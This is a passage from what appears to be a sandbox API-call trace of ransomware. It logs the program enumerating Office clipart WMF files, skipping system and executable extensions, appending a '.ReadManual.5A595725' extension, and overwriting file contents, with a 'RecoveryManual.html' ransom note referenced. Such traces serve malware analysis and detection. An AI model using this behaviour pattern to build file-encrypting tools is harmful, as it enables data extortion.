Office\\CLIPART\\PUB60COR\\J0107148.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.ReadManual.5A595725" [0266.531] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.ReadManual.5A595725") returned 87 [0266.531] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38719949136) returned 1 [0266.531] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf")) returned 0x20 [0266.532] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.532] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=20136) returned 1 [0266.532] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ea8, lpName=0x0) returned 0x184 [0266.532] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.533] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.533] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.534] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.535] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4ea8) returned 0x2f0000 [0266.535] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.535] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38720378920) returned 1 [0266.535] CloseHandle (hObject=0x184) returned 1 [0266.535] SetSecurityInfo () returned 0x57 [0266.535] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.535] CloseHandle (hObject=0x194) returned 1 [0266.535] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3490, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107150.WMF", cAlternateFileName="")) returned 1 [0266.535] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107150.WMF" | out: lpString1="J0107150.WMF") returned="J0107150.WMF" [0266.535] lstrcmpiW (lpString1="J0107150.WMF", lpString2="RecoveryManual.html") returned -1 [0266.535] StrStrIW (lpFirst="J0107150.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.535] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.536] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.536] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.536] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.536] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.536] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.536] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.536] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.536] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.536] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.536] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.536] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.536] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.536] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.536] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" [0266.536] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.ReadManual.5A595725" [0266.536] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.ReadManual.5A595725") returned 87 [0266.536] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38720476793) returned 1 [0266.536] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf")) returned 0x20 [0266.536] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.536] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13456) returned 1 [0266.536] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3490, lpName=0x0) returned 0x184 [0266.537] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.537] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.537] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.539] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.539] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3490) returned 0x2f0000 [0266.539] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.539] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38720816176) returned 1 [0266.539] CloseHandle (hObject=0x184) returned 1 [0266.539] SetSecurityInfo () returned 0x57 [0266.540] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.540] CloseHandle (hObject=0x194) returned 1 [0266.540] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5804, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107152.WMF", cAlternateFileName="")) returned 1 [0266.540] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107152.WMF" | out: lpString1="J0107152.WMF") returned="J0107152.WMF" [0266.540] lstrcmpiW (lpString1="J0107152.WMF", lpString2="RecoveryManual.html") returned -1 [0266.540] StrStrIW (lpFirst="J0107152.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.540] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.540] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.540] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.540] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.540] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.540] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.540] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.540] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.540] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.540] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.540] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.540] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.540] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.540] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.540] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" [0266.540] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.ReadManual.5A595725" [0266.540] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.ReadManual.5A595725") returned 87 [0266.540] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38720915923) returned 1 [0266.540] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf")) returned 0x20 [0266.541] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.541] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=22532) returned 1 [0266.541] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5804, lpName=0x0) returned 0x184 [0266.541] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.547] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.547] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.549] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.549] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5804) returned 0x2f0000 [0266.550] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.550] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38721868499) returned 1 [0266.550] CloseHandle (hObject=0x184) returned 1 [0266.550] SetSecurityInfo () returned 0x57 [0266.550] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.550] CloseHandle (hObject=0x194) returned 1 [0266.550] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x571c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107154.WMF", cAlternateFileName="")) returned 1 [0266.550] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107154.WMF" | out: lpString1="J0107154.WMF") returned="J0107154.WMF" [0266.550] lstrcmpiW (lpString1="J0107154.WMF", lpString2="RecoveryManual.html") returned -1 [0266.550] StrStrIW (lpFirst="J0107154.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.550] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.550] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.550] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.550] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.550] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.551] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.551] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.551] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.551] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.551] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.551] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.551] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.551] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.551] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.551] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" [0266.551] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.ReadManual.5A595725" [0266.551] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.ReadManual.5A595725") returned 87 [0266.551] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38721965423) returned 1 [0266.551] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf")) returned 0x20 [0266.551] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.551] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=22300) returned 1 [0266.551] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x571c, lpName=0x0) returned 0x184 [0266.552] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.552] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.552] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.554] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.554] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x571c) returned 0x2f0000 [0266.554] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.555] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38722341297) returned 1 [0266.555] CloseHandle (hObject=0x184) returned 1 [0266.555] SetSecurityInfo () returned 0x57 [0266.555] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.555] CloseHandle (hObject=0x194) returned 1 [0266.555] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x614c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107158.WMF", cAlternateFileName="")) returned 1 [0266.555] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107158.WMF" | out: lpString1="J0107158.WMF") returned="J0107158.WMF" [0266.555] lstrcmpiW (lpString1="J0107158.WMF", lpString2="RecoveryManual.html") returned -1 [0266.555] StrStrIW (lpFirst="J0107158.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.555] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.555] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.555] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.555] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.555] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.555] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.555] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.555] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.555] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.555] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.555] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.555] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.555] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.555] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.556] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" [0266.556] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.ReadManual.5A595725" [0266.556] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.ReadManual.5A595725") returned 87 [0266.556] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38722439465) returned 1 [0266.556] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf")) returned 0x20 [0266.557] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.557] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=24908) returned 1 [0266.557] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x614c, lpName=0x0) returned 0x184 [0266.557] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.558] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.558] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.560] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.560] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x614c) returned 0x2f0000 [0266.560] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.560] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38722905144) returned 1 [0266.560] CloseHandle (hObject=0x184) returned 1 [0266.560] SetSecurityInfo () returned 0x57 [0266.561] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.561] CloseHandle (hObject=0x194) returned 1 [0266.561] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107182.WMF", cAlternateFileName="")) returned 1 [0266.561] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107182.WMF" | out: lpString1="J0107182.WMF") returned="J0107182.WMF" [0266.561] lstrcmpiW (lpString1="J0107182.WMF", lpString2="RecoveryManual.html") returned -1 [0266.561] StrStrIW (lpFirst="J0107182.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.561] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.561] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.561] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.561] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.561] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.561] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.561] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.561] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.561] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.561] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.561] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.561] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.561] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.561] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.561] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" [0266.561] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.ReadManual.5A595725" [0266.561] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.ReadManual.5A595725") returned 87 [0266.561] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38723005194) returned 1 [0266.561] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf")) returned 0x20 [0266.561] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.562] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16100) returned 1 [0266.562] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3ee4, lpName=0x0) returned 0x184 [0266.562] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.563] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.563] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, 